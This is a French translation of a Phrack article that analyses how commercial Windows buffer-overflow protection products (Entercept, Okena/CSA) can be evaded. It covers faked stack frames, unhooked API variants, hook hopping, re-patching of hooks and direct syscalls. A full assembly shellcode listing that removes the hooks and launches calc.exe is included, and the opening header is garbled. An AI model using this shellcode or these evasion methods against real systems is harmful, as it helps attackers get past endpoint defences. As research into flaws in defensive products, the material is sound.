==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10 |=-----------------------------------------------------------------------=| |=-----=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=------=| |=-----------------------------------------------------------------------=| |=--------------=[ anonymous ]=-------------=| |=--------------=[ anonymous permissions & WRITABLE) return BUFFER_OVERFLOW; ret = page_originates_from_file( page ); if (ret != TRUE) return BUFFER_OVERFLOW; [-----------------------------------------------------------] Pseudo code pour la vérification de permission de la page Les technologies de protection anti buffer overflow (BOPT - Buffer Overflow Protection Technology) qui se basent sur le retour sur trace dans la pile ne créent en fait pas de segments de pile ni de tas non-exécutables. À la place, ils détournent l'OS et cherchent après l'exécution de shellcode pendant les appels de ces API détournées. La plupart des systèmes d'exploitations peuvent être détournés en mode utilisateur ou noyau. La prochaine section traite de l'évasion des détournements noyaux, tandis que la section 4 traite de l'évitement des détournements en mode utilisateur. --[ 3 - S'évader des détournements noyaux Quand il détourne le noyau, un système de prévention d'intrusion de l'hote (HIPS - Host Intrusion Prevention System) doit pouvoir détecter d'où un appel de l'API en mode utilisateur est originaire. À cause de l'utilisation en masse des librairies kernel32.dll et ntdll.dll, un appel de l'API est souvant plusieurs cadres plus bas dans la pile par rapport à l'appel courant. Pour cette raison, certains systèmes de prévention d'intrusion se basent sur le retour sur trace dans la pile pour localiser l'origine de l'appel système. ----[ 3.1 - Retour sur trace dans la pile noyau Bien que le retour sur trace dans la pile puisse avoir lieu en mode utilisateur et noyau, il est bien plus important pour les élément noyau d'une BOPT que pour ses composants du mode utilisateur. Les composants noyaux des BOPT commerciales existantes se basent entièrement sur le retour sur trace pour détecter l'exécution de shellcode. Donc, s'évader d'un détournement noyau est simplement une histoire de battre les méchanismes de retour sur trace dans la pile. Ce retour sur trace implique de traverser des cadres de la pile et de vérifier que l'adresse de retour passe les tests de détection de buffer overflow décrit plus haut. Il y a aussi fréquement des vérifications de "retour dans la libc" additionnelles, qui impliquent de vérifier que l'adresse de retour pointe sur une instruction immédiatement précédée d'un call ou d'un jmp. L'opération de base du code de retour sur trace dans la pile, comme utilisé par une BOPT, est présenté ici : [-----------------------------------------------------------] while (is_valid_frame_pointer( ebp )) { ret_addr = get_ret_addr( ebp ); if (check_code_page(ret_addr) == BUFFER_OVERFLOW) return BUFFER_OVERFLOW; if (does_not_follow_call_or_jmp_opcode(ret_addr)) return BUFFER_OVERFLOW; ebp = get_next_frame( ebp ); } [-----------------------------------------------------------] Pseudo code du retour sur trace dans la pile des BOPT Quand on discutte de s'évacer de ce retour sur trace, il est important de comprendre comment le retour sur trace fonctionne sous architecture x86. Un cadre de pile typique ressemble à ce qui suit pendant un appel de fonction : : : |-------------------------------| | paramètre #1 de la fonction A | |-------------------------------| | paramètre #2 de la fonction A | |-------------------------------| | Adresse de retour | |-------------------------------| | Sauvegarde d'EBP | |===============================| | paramètre #1 de la fonction B | |-------------------------------| | paramètre #2 de la fonction B | |-------------------------------| | Adresse de retour | |-------------------------------| | Sauvegarde d'EBP | |-------------------------------| : : Le registre EBP pointe vers le cadre de pile suivant. Sans le registre EBP, il est très difficile, sinon impossible, d'identifier correctement et de tracer à travers tous les cadres de la pile. Les compilateurs modernes ommettent souvent l'utilisation d'EBP comme pointeur de cadre et l'utilise comme un registre d'ordre général à la placE. Avec une optimisation d'EBP, un cadre de pile ressemble à ceci pendant l'exécution d'un appel de fonction : |-------------------------------| | paramètre #1 de la fonction A | |-------------------------------| | paramètre #2 de la fonction A | |-------------------------------| | Adresse de retour | |-------------------------------| Notez que le registre EBP n'est plus présent dans la pile. Sans un registre EBP, il n'est pas possible aux technologies de détections de buffer overflow d'effectuer un retour sur trace dans la pile précis. Ceci rend leur tâche incroyablement plus difficile car une attaque simple du style retour en libc va contourner cette protection. En faisant arriver un appel d'API un niveau plus haut que les détournement de la BOPT défait la technique de protection. ----[ 3.2 - Falsifier un cadre de pile Puisque la pile est sous le contrôle total du shellcode, il est possible d'altérer complètement son contenu avant un appel à l'API. Des cadres de piles spécialement construits peuvent être utilisés pour éviter les détecteurs de buffer overflow. Comme il a déjà été expliqué, le détecteur de buffer overflow cherche trois clefs indicatrices d'un code légitime : la permission de lecture seule sur la page, que la mémoire corresponde à une section d'un fichier et une adresse de retour pointant vers une instruction précédée d'un call ou d'un jmp. Puisque les pointeurs de fonctions changent la sémantique des appels, les BOPT ne vérifient pas (et ne peuvent pas le faire) qu'un call ou un jmp pointe vraiment à l'API qui est appellée. Plus important, la BOPT ne peut pas vérifier que l'adresse de retour ne dessous du dernier pointeurs de cadre EBP valide (il ne peut pas faire de retour sur trace plus loin). S'évader d'une BOPT est donc simplement une affaire de créer un cadre de pile "final" qui a une adresse de retour valide. Cette adresse de retour valide doit pointer vers une instruction qui se trouve dans une page en lecture seule correspondante à une section de fichier et être précédée immédiatement d'un call ou jmp. En admettant que la fausse adresse de retour soit raisonablement proche d'une autre adresse de retour, le shellcode peut très facilement retrouver le contrôle. La séquence d'instructions idéale où devrait pointer la fausse adresse de retour est la suivante : [---------------------------------------------------------------] jmp [eax] ; ou call [eax] ou autre registre dummy_return: ... ; un certain nombre de nop ou ; d'instructions facilement ; inversible (p.e. inc eax) ret ; n'importe quel retour est bon [---------------------------------------------------------------] Contourner les composants noyau de BOTP est facile parce qu'ils doivent se baser sur des données contrôlées par l'utilisateur (la pile) pour déterminer la validité d'un appel d'API. En manipulant correctement la pile, il est possible de terminer prématurément l'analyse des adresses de retour dans la pile. Cette technique d'évasion de retour sur trace dans la pile est aussi efficace contre les détournement en mode utilisateur (voir section 4.6). --[ 4 - S'évader des détournement en mode utilisateur Étant donné la présence d'une séquence d'instruction correcte dans une région valide de la mémoire, il est possible de contourner triviallement les techniques de protections anti buffer overflow. Des techniques similaires peuvent être utilisées pour contourner les composants utilisateurs des BOPT. En plus, puisque le shellcode s'exécute avec les mêmes permissions que les détournements utilisateurs, un certain nombre d'autres techniques peuvent être utilisées pour s'évader de ces protections. ----[ 4.1 - Problème d'implémentation - Détournement de l'API incomplete Il y a beaucoup de problèmes avec les technologies de protection anti buffer overflow basées utilisateur. Par exemple, elles requierent que le code de la protection anti buffer overflow soit sur le chemin d'exécution des appels de l'attaquant sinon, l'exécution du shellcode restera invisible. Tenter de déterminer ce qu'un attaquant va faire avec son shellcode à priori est un problème extrêmement difficile, sinon impossible. Être sur le bon chemin n'est pas facile. Les divers obstacles incluent les suivants : a. Ne pas prendre en compte les version UNICODE et ANSI des appels à l'API Win32 b. Ne pas suivre la nature chainée des appels de l'API. Par exemple, beaucoup de fonction dans kernel32.dll ne sont rien de plus que des adaptateurs pour d'autres fonctions dans kernel32.dll ou ntdll.dll. c. La nature constement changeante de l'API de Microsoft Windows. --------[ 4.1.1 - Ne pas détourner toutes les version d'API Une erreur communément rencontrée avec les implémentations de détournement utilisateur d'API est une couverture du chemin d'exécution incomplète. Pour qu'un produit basé sur l'interception soit efficace, toutes les API utilisées par l'attaquant doivent être détournées. Ceci requiert que la technologie de protection anti buffer overflow de détourner quelque part le lond du chemin d'appel qu'un attaquant _doive_ utiliser. Cependant, comme il sera montré, une fois qu'un attaquant a commencé d'exécuter son code, il devient très difficile pour un système tierce partie de couvrir tous les chemins. En fait, aucun détecteur de buffer overflow commercial testé ne fournis de couverture de chemin d'exécution efficace. Beaucoup de fonction de l'API windows on deux versions : ANSI et UNICODE. Les noms des fonctions ANSI finissent habituellement par un A, et les fonctions UNICODE finissent par un W à cause de leur nature de grand caractères [NDT : grand en anglais : Wide, d'où le W]. Les fonctions ANSI ne sont souvent pas plus que des adaptateurs qui appellent la version UNICODE de l'API. Par exemple, CreateFileA prend le nom de fichier ANSI passé en paramètre et le transforme en chaine UNICODE. Elle appelle alors CreateFileW. À moins qu'un vendeur ne détourne à la fois la version ANSI et UNICODE, un attaquant peut contourner les méchanismes de protections simplement en appellant l'autre version que la fonction détournée. Par exemple, Entercept 4.1 détourne LoadLibraryA, mais il ne fait aucune tentative d'interceter LoadLibraryW. Si un méchanisme de protection ne tente de détourner qu'une version d'une fonction, il serait plus judicieux de choisir la version UNICODE. Pour cette fonction particulière, Okena/CSA fait un meilleur choix en détournant LoadLibraryA, LoadLibraryW, LoadLibraryExA, et LoadLibraryExW. Malheureusement pour les détecteurs de buffer overflow tierce partie, détourner simplement plus de fonctions dans kernel32.dd n'est pas suffisent. --------[ 4.1.2 - Ne pas détourner assez profondément Dans windows NT, kernel32.dll joue le rôle d'un adaptateur pour ntdll.dll et pour l'instant, beaucoup de produit de détection de buffer overflow ne détournent aucune fonction dans ntdll.dll. Cette erreur simple est similaire à celle de ne pas détourner les version UNICODE ET ANSI d'une fonction. Un attaquant peut appeller simplement ntdll.dll directement et contourner completement tous les "checkpoints" de ekrnel32.dll établis par un détecteur de buffer overflow. Par exemple, NAI Intercept essaye de détecter les shellcodes qui appellent GetProcAddress() dans kernel32.dll. Cependant, le shellcode peut être réécrit pour appeller LdrGetProcedureAddress() dans ntdll.dll, qui accomplis le même but, et dans le même temps ne passe jamais par les détournements de NAI Intercept. Les shellcodes peuvent de la même manière complètement contourner les détournements utilisateurs et faire les appels systèmes directement (voir section 4.5). --------[ 4.1.3 - Ne pas détourner assez complètement Les interractions entre les différentes fonctions de l'API Win32 sont byzantines, complexes et difficiles à comprendre. Un vendeur doit faire une seule erreur pour créer une fenêtre d'oportunité pour un attaquant. Par exemle, Okena/CSA et NAI Entercept détournent toutes deux WinExec pour éviter que le shellcode de l'attaquant ne crée des processus. Le chemin d'appel pour WinExec est de ce genre : WinExec() --> CreateProcessA() --> CreateProcessInternalA() Okena/CSA et NAI Entercept détournent toutes deux WinExec() et CreateProcessA() (voir Annexes A et B). Cependant, aucun de ces produits ne détourne CreateProcessInternalA() (exportée par kernel32.dll). Quand il écrit un shellcode, l'attaquant pourrait trouver l'export pour CreateProcessInternalA() et l'utiliser au lieu d'appeller WinExec(). CreateProcessA() met deux NULL sur la pile avant d'appeller CreateProcessInternalA(). Donc, un shellcode a seulement besoin d'empiler deux NULL et ensuite d'appeller CreateProcessInternalA() directement pour éviter les détournements utilisateurs d'API de ces deux produits. Avec les publications de nouvelles DLL et API, la complexité des interractions internes de l'API Win32 augmente, rendant le problème encore pire. Les vendeurs de produits tierces parties ont un désavantage sévère quand ils implémentent leurs technologies de détections de buffer overflow et font très facilement des erreur qui peuvent être exploitées par les attaquants. ----[ 4.2 - S'amuser avec les trampolines La plupart des fonctions de l'API Win32 commencent avec un préambule de cinq octets. D'abors, EBP est empilé, ensuite, ESP est mis dans EBP. [-----------------------------------------------------------] Code Assembleur 55 push ebp 8bec mov ebp, esp [-----------------------------------------------------------] À la fois Okena/CSA et Entercept utilisent des détournement par fonction en dur. Elles écrasent les 5 premiers octets d'une fonction avec un saut inconditionnel ou un call immédiats. Par example, voici à quoi ressemblent les quelques premiers octets de WinExec() après que le détournement de NAI Entercept soit placé : [-----------------------------------------------------------] Code Assembleur e8 xx xx xx xx call xxxxxxxx 54 push esp 53 push ebx 56 push esi 57 push edi [-----------------------------------------------------------] Alternativement, ces premiers quelques octets pourraient être remplacés avec un jmp : [-----------------------------------------------------------] Code Assembleur e9 xx xx xx xx jmp xxxxxxxx ... [-----------------------------------------------------------] Évidement, il est facile pour un shellcode de testé ces signatures et d'autres avant d'appeller une fonction. Si un méchanisme d'hijacking est détecté, le shellcode peut utiliser quelques autres techniques différentes pour contourner le détournement. ------[ 4.2.1 - Saut vers la table de Patch Quand une API est détournée, le préambule original est sauvegardé dans une table pour que le détecteur de buffer overflow puisse recréer l'API originale après avoir effectué ses tests de validité. Le préambule est stocké dans une table de patch, qui se trouve quelques par dans l'espace d'adressage de l'application. Quand le shellcode détecte la présence d'un détournement d'API, il peut simplement chercher après cette table et faire ses appels vers les entrées de la table. Ceci élimine complètement les détournement, évitant que les composants du détecteur de buffer overflow ne soit sur le chemin d'exécution de l'attaquant. ------[ 4.2.2 - Hook Hopping Alternativement, au lieu de localiser la table de patch, le shellcode peut inclure sa propre copie du préambule pre-détourné. Après avoir exécuté son propre préambule de l'API, le shellcode peut transférer l'exécution vers l'instructions suivant le détournement (l'adresse de la fonction plus cinq octets). Puisque le x86 d'Intel a des instructions de tailles fariables, on doit faire attention à ça pour tomber sur le début d'une instruction : [-----------------------------------------------------------] Shellcode: call WinExecPreamble WinExecPreamble: push ebp mov ebp, esp sub esp, 54 jmp WinExec+6 [-----------------------------------------------------------] Cette techniques ne fonctionnera pas si une autre fonction sur le chemin d'appels est aussi détournée. Dans notre cas, Entercept détourne aussi CreateProcessA(), qui est appellée par WinExec(). Donc, pour éviter la détection, le shellcode doit appeller CreateProcessA() en utilisant une copie du préambule de CreateProcessA(). ----[ 4.3 - Repatching de l'API Win32 Détourner complètement l'API Win32 n'est pas efficace quand certaines erreurs fondamenales sont faites dans l'implémentations d'un composant de détection de buffer overflow en utilisateur. Certaines implémentations (NAI Entercept) ont un problème sérieux avec leur manière d'effectuer les détournements d'API. Pour pouvoir écraser les préambules des fonctions détournées, la section de code pour la DLL doit être rendue inscriptible. Entercept marque la section de code de kernel32.dll et ntdll.dll comme inscriptible pour pouvoir modifier son contenu. Cependant, Entercept ne remet jamais à zéro le bit d'écriture ! Du à ce trou de sécurité sérieux, il est possible pour un attaquant d'écraser les détournements de l'API en ré-injectant les préambules originaux du code. Pour les examples de WinExec() et CreateProcessA(), ceci nécessiterait d'écraser les 6 octets (juste pour être aligné sur les instruction) de WinExec() et CreateProcessA() avec les préambules originaux. [-----------------------------------------------------------] WinExecOverWrite: Code Assembleur 55 push ebp 8bec mov ebp, esp 83ec54 sub esp, 54 CreateProcessAOverWrite: Code Assembleur 55 push ebp 8bec mov ebp, esp ff752c push DWORD PTR [ebp+2c] [-----------------------------------------------------------] Cette techniques ne fonctionnera pas contre des détecteurs de buffer overflow correctement implémentés, cependant, elle est très efficace contre NAI Entercept. Un example complet de shellcode qui écrase les détournement placés par NAI Entercept est présenté ci-après : [-----------------------------------------------------------] // Cet exemple de code écrase les préambules de WinExec et // CreateProcessA pour éviter d'être détecté. Le code // appelle ensuite WinExec avec le paramètre calc.exe". // Ce code démontre qu'en écrasant les préambules des // fonctions, il est capable d'éviter les protections // anti bufferoverflow Entercept et Okena/CSA _asm { pusha jmp JUMPSTART START: pop ebp xor eax, eax mov al, 0x30 mov eax, fs:[eax]; mov eax, [eax+0xc]; // Nous avons alors le module_item pour ntdll.dll mov eax, [eax+0x1c] // Nous avons alors le module_item pour kernel32.dll mov eax, [eax] // base de l'image de kernel32.dll mov eax, [eax+0x8] movzx ebx, word ptr [eax+3ch] // pe.oheader.directorydata[EXPORT=0] mov esi, [eax+ebx+78h] lea esi, [eax+esi+18h] // EBX contient l'adresse de base du module mov ebx, eax lodsd // ECX contient le nombre de noms de fonctions mov ecx, eax lodsd add eax,ebx // EDX contient l'adresse des fonctions mov edx,eax lodsd // EAX a l'adresse des noms add eax,ebx // sauvegarde du nombre de noms de fonctions pour // plus tard push ecx // Suvegarde de l'adresse des fonctions push edx RESETEXPORTNAMETABLE: xor edx, edx INITSTRINGTABLE: mov esi, ebp // Début de la table des chaines inc esi MOVETHROUGHTABLE: mov edi, [eax+edx*4] add edi, ebx // EBX a l'adresse de base du process xor ecx, ecx mov cl, BYTE PTR [ebp] test cl, cl jz DONESTRINGSEARCH STRINGSEARCH: // ESI point vers la table des chaines repe cmpsb je Found // le nombe de noms de fonctions est sur la pile cmp [esp+4], edx je NOTFOUND inc edx jmp INITSTRINGTABLE Found: pop ecx shl edx, 2 add edx, ecx mov edi, [edx] add edi, ebx push edi push ecx xor ecx, ecx mov cl, BYTE PTR [ebp] inc ecx add ebp, ecx jmp RESETEXPORTNAMETABLE DONESTRINGSEARCH: OverWriteCreateProcessA: pop edi pop edi push 0x06 pop ecx inc esi rep movsb OverWriteWinExec: pop edi push edi push 0x06 pop ecx inc esi rep movsb CallWinExec: push 0x03 push esi call [esp+8] NOTFOUND: pop edx STRINGEXIT: pop ecx popa; jmp EXIT JUMPSTART: add esp, 0x1000 call START WINEXEC: _emit 0x07 _emit 'W' _emit 'i' _emit 'n' _emit 'E' _emit 'x' _emit 'e' _emit 'c' CREATEPROCESSA: _emit 0x0e _emit 'C' _emit 'r' _emit 'e' _emit 'a' _emit 't' _emit 'e' _emit 'P' _emit 'r' _emit 'o' _emit 'c' _emit 'e' _emit 's' _emit 's' _emit 'A' ENDOFTABLE: _emit 0x00 WinExecOverWrite: _emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0x83 _emit 0xec _emit 0x54 CreateProcessAOverWrite: _emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0xff _emit 0x75 _emit 0x2c COMMAND: _emit 'c' _emit 'a' _emit 'l' _emit 'c' _emit '.' _emit 'e' _emit 'x' _emit 'e' _emit 0x00 EXIT: _emit 0x90 // Normalement appeller ExitThread // ou quelque chose du genre ici _emit 0x90 } [-----------------------------------------------------------] ----[ 4.4 - Attaquer les composants du mode utilisateur Bien que s'évader des déviations et des techniques utilisées par les composants des détecteurs de buffer overflow soit efficace, il existe d'autres méchanismes pour contourner la détection. Parce qu'à la fois le shellcode et le détecteur de buffer overflow s'exécutent avec les mêmes privilèges et dans le même espace d'adressage, il est possible pour un shellcode d'attaquer directement le composant utilisateur du détecteur de buffer overflow. Essentiellement, quand il attaque le composant utilisateur du détecteur de buffer overflow, l'attaquant tente de corrompre les méchanismes utilisés pour effectué les vérifications de détection de shellcode. Il n'y a que deux techniques pour la vérifications de validition de shellcode. Soit les données utilisées pour la vérification sont déterminées dynamiquement pendant chaque appel d'API détournée, ou les données sont récoltées au lancement du processus et ensuite vérifiées lors de chaque appel. Dans les deux cas, il est possible à l'attaquant de corrompre le processus. ------[ 4.4.1 - Patching de l'IAT Plutôt que d'implémenter leur propre version de fonctions d'information de pages mémoires, les produits de protection anti buffer overflow utilisent simplement l'API du système d'exploitation. Dans Windows NT, elles sont implémentées dans ntdll.dll. Cette API va être importée dans le composant utilisateur (un DLL lui aussi) via sa table d'import PE. Un attaquant peut patcher des vecteurs dans cette table d'import pour altérer l'adresse d'une API vers des fonctions fournies par le shellcode. En fournissant les fonctions utilisées pour fair les tests de validation du détecteur de buffer overflow, il est trivial pour un attaquant d'éviter les détecteurs. ------[ 4.4.2 - Patching de la section de données Pour diverses raisons, un détecteur de buffer overflow pourrait utiliser une liste de permissions de pages pré-construites dans l'espace d'adressage. Quand c'est le cas, altérer l'adresse de l'API VirtualQuery() n'est pas efficace. Pour corrompre le détecteur de buffer overflow, le shellcode doit localiser et modifier la table de données utiliser pour les procédures de validations d'adresses de retour. C'est une technique assez franche, bien que spécifique de l'application, pour corrompre les technologies de prévention de buffer overflow. ----[ 4.5 - Appeller les syscalls directement Comme mentionné plus haut, plutôt que d'utilier l'API ntdll pour faire des appels systèmes, il est possible pour un attaquant de créer un shellcode qui fait des appels systèmes directement. Bien que cette technique soit très efficace contre les composants utilisateurs, elle ne l'est évidement plus pour éviter les détecteurs basé dans le noyau. Pour prendre avantage de cette techniques, vous devez comprendre quels paramètres les fonctions noyaux utilisent. Ils ne seront pas toujours les mêmes que ceux requis par les version d'API kernel32 et ntdll. Vous devez aussi connaître le numéros de l'appel système de la fonction en question. Vous pouvez le trouver dynamiquement en utilisant une technique similaire à celle pour trouver l'adresse d'une fonction. Une fois que vous avez l'adresse de la fonction de la version ntdll.dll que vous voulez appeller, indexez un octet dans la fonctino et lisez l DWORD suivant. C'est le numéro de l'appel système dans la table des appels système pour cette fonction. C'est un truc habituel utilisé par les développeur de rootkits. Voici le pseudo code pour appeller l'appel système NtReadFile directement : ... xor eax, eax // clef optionnelle push eax // pointeur optionnel vers un entier long avec l'offet du fichier push eax push Length_of_Buffer push Address_of_Buffer // avant l'appel, faire de la place pour // deux DWORDs apellés IoStatusBlock push Address_of_IoStatusBlock // ApcContext optionnel push eax // ApcRoutine optionnel push eax // Event optionnel push eax // descripteur de ficheir requis push hFile // EAX doit contenir le numéro d'appel système mov eax, Found_Sys_Call_Num // EDX a besoin de l'adresse de la pile utilisateur lea edx, [esp] // [Trap] dans le noyau // (des versions récentes de windows NT utilisent // "sysenter" à la place) int 2e ----[ 4.6 - Falsifier les cadres de pile Comme décrit dans la section 3.2, le retour sur trace dans la pile à partir du noyau peut être contourné en utilisant des faux cadres. La même technique fonctionne contre les détecteurs utilisateurs. Pour contourner à la fois les retour sur trace noyau et utilisateur, le shellcode doit créer un faux cadre de pile sans le registre ebp sur la pile. Puisque le retour sur trace dans la pile se pase sur la présence du registre ebp pour trouver le prochain cadre de pile, un faux cadre peut stopper le retour sur trace. Bien sûr, générer un faux cadre de pile ne fonctionnera pas si le registre EIP pointe toujours sur le shellcode qui se trouve dans un segment de mémoire inscriptible. Pour contourner le code de protection, le shellcode doit utiliser une adresse qui se trouve dans un segment de mémoie non-inscriptible. Ceci présente un problème puisque le shellcode a besoin de retrouver après coup le contrôle de l'exécution. Le truc pour récupérer le contrôle est de mandater le retour au shellcode via une instruction "ret" qui se trouve dasn un segment non-inscriptible. L'instruction "ret" peut être trouvée dynamiquement en cherchant dans des zones mémoires après l'opcode 0x3C. Voici une illustration d'un appell normal LoadLibrary("kernel32.dll") qui vient d'un segment de mémoire inscriptible : push kernel32_string call LoadLibrary return_eip: . . . LoadLibrary: ; * voir plus loins pour une illustration de la pile . . . ret ; retour vers le return_eip basé sur la pile |------------------------------| | address of "kernel32.dll" str| |------------------------------| | return address (return_eip) | |------------------------------| Comme expliqué plus haut, le code de protection anti buffer overflow s'exécute avant que LoadLibrary ne s'exécute. Puisque l'adresse de retour (return_eip) est dans un segment de mémoire inscriptible, le code de protection log l'overflow et termine le processus. L'exemple suivant illustre la technique du "mandat via une instruction 'ret'" : push return_eip push kernel32_string ; faux appel "call LoadLibrary" push address_of_ret_instruction jmp LoadLibrary return_eip: . . . LoadLibrary: ; * voir plus loins pour une illustration de la pile . . . ret ; retour non basé sur la pile ; address_of_ret_instruction address_of_ret_instruction: . . . ret ; retour vers le return_eip basé sur la pile Une fois encore, le code de protection anti buffer overflow s'exécute avant que LoadLibrary ne le fasse. Cette fois parcontre, la pile est placée avec une adresse de retour qui pointe vers un segment de mémoire non-inscriptible. En plus, le registre ebp n'est pas présent sur la pile et le code de protection ne peut pas faire de retour sur trace et déterminer si l'adresse de retour dans le cadre suivant pointe vers un segment inscriptible. Ceci permet au shellcode d'appeller LoadLibrary qui retourne sur l'instruction ret. À son tour, l'instruction "ret" dépile l'adresse de retour suivante (return_eip) et lui rend le contrôle. |------------------------------| | return address (return_eip) | |------------------------------| | address of "kernel32.dll" str| |------------------------------| | address of "ret" instruction | |------------------------------| En plus, un nombre quelconque de faux cadres de piles aritrairement complexes peuvent être installés pour désorienter un peu plus le code de protection. Voici un exemple d'un faux cadre qui utilise une instruction "ret 8" plutôt qu'un simple "ret" : |--------------------------------| | return address | |--------------------------------| | adresse de "ret" | <- faux cadre 2 |--------------------------------| | n'importe quelle valeur | |--------------------------------| | adresse de "kernel32.dll" | |--------------------------------| | adresse de "ret 8" | <- faux cadre 1 |--------------------------------| Ceci implique l'extraction d'une valeur de 32 bits de la pile, compliquant toute sorte d'analyse supplémentaire. --[ 5 - Conclusions La majorité des systèmes de sécurité commerciaux n'évitent en fait pas les buffer overflow mais détectent plutôt l'exécution de shellcodes. La technologie la plus commune utilisée pour détecter les shellcode est la vérification des permissions des pages de codes qui se base sur le retour sur trace dans la pile. Le retour sur trace dans la pile implique de traverser les cadres de piles et de vérifier que l'adresse de retour ne provient pas d'un segment de mémoire inscriptible comme la pile ou le tas. Ce papier a présenté un certain nombre de différentes façons de contourner le retour sur trace dans la pile à la fois noyau et utilisateur. Ceci va de la falsification avec les préambules de fonctions à la création de faux cadres de piles. En conclusion, la majorité des implémentations de protections anti buffer overflow sont trouées, fournissant une fausse sensation de sécurité un une très faible protection contre des attaquants déterminés. Annexe A : Détournements de Entercept 4.1. Entercept détourne un certain nombe de fonctions en mode utilisateur et dans le noyau. Voici une liste des fonctions interceptées dans la version 4.1 User Land msvcrt.dll _creat _read _write system kernel32.dll CreatePipe CreateProcessA GetProcAddress GetStartupInfoA LoadLibraryA PeekNamedPipe ReadFile VirtualProtect VirtualProtectEx WinExec WriteFile advapi32.dll RegOpenKeyA rpcrt4.dll NdrServerInitializeMarshall user32.dll ExitWindowsEx ws2_32.dll WPUCompleteOverlappedRequest WSAAddressToStringA WSACancelAsyncRequest WSACloseEvent WSAConnect WSACreateEvent WSADuplicateSocketA WSAEnumNetworkEvents WSAEventSelect WSAGetServiceClassInfoA WSCInstallNameSpace wininet.dll InternetSecurityProtocolToStringW InternetSetCookieA InternetSetOptionExA lsasrv.dll LsarLookupNames LsarLookupSids2 msv1_0.dll Msv1_0ExportSubAuthenticationRoutine Msv1_0SubAuthenticationPresent Kernel NtConnectPort NtCreateProcess NtCreateThread NtCreateToken NtCreateKey NtDeleteKey NtDeleteValueKey NtEnumerateKey NtEnumerateValueKey NtLoadKey NtLoadKey2 NtQueryKey NtQueryMultipleValueKey NtQueryValueKey NtReplaceKey NtRestoreKey NtSetValueKey NtMakeTemporaryObject NtSetContextThread NtSetInformationProcess NtSetSecurityObject NtTerminateProcess Annexe B : Détournements de Okena/Cisco CSA 3.2 Okena/CSA détourne beaucoup de fonction en mode utilisateur mais beaucoup moins en mode noyau. Beaucoup de détournements en mode utilisatuers sont les mêmes que ceux d'Entercept. Cependant, presque toutes les fonctions détournées en noyau par Okena/CSA sont relative à l'altération de clefs dans le registre de Windows. Okena/CSA ne semble pas autant concerné par le retour sur trace d'appels dans le noyau qu'Entercept. Ceci nous mène à une vulnérabilité intéressante, laissée en exercice au lecteur. User Land kernel32.dll CreateProcessA CreateProcessW CreateRemoteThread CreateThread FreeLibrary LoadLibraryA LoadLibraryExA LoadLibraryExW LoadLibraryW LoadModule OpenProcess VirtualProtect VirtualProtectEx WinExec WriteProcessMemory ole32.dll CoFileTimeToDosDateTime CoGetMalloc CoGetStandardMarshal CoGetState CoResumeClassObjects CreateObjrefMoniker CreateStreamOnHGlobal DllGetClassObject StgSetTimes StringFromCLSID oleaut32.dll LPSAFEARRAY_UserUnmarshal urlmon.dll CoInstall Kernel NtCreateKey NtOpenKey NtDeleteKey NtDeleteValueKey NtSetValueKey NtOpenProcess NtWriteVirtualMemory |=[ EOF ]=---------------------------------------------------------------=|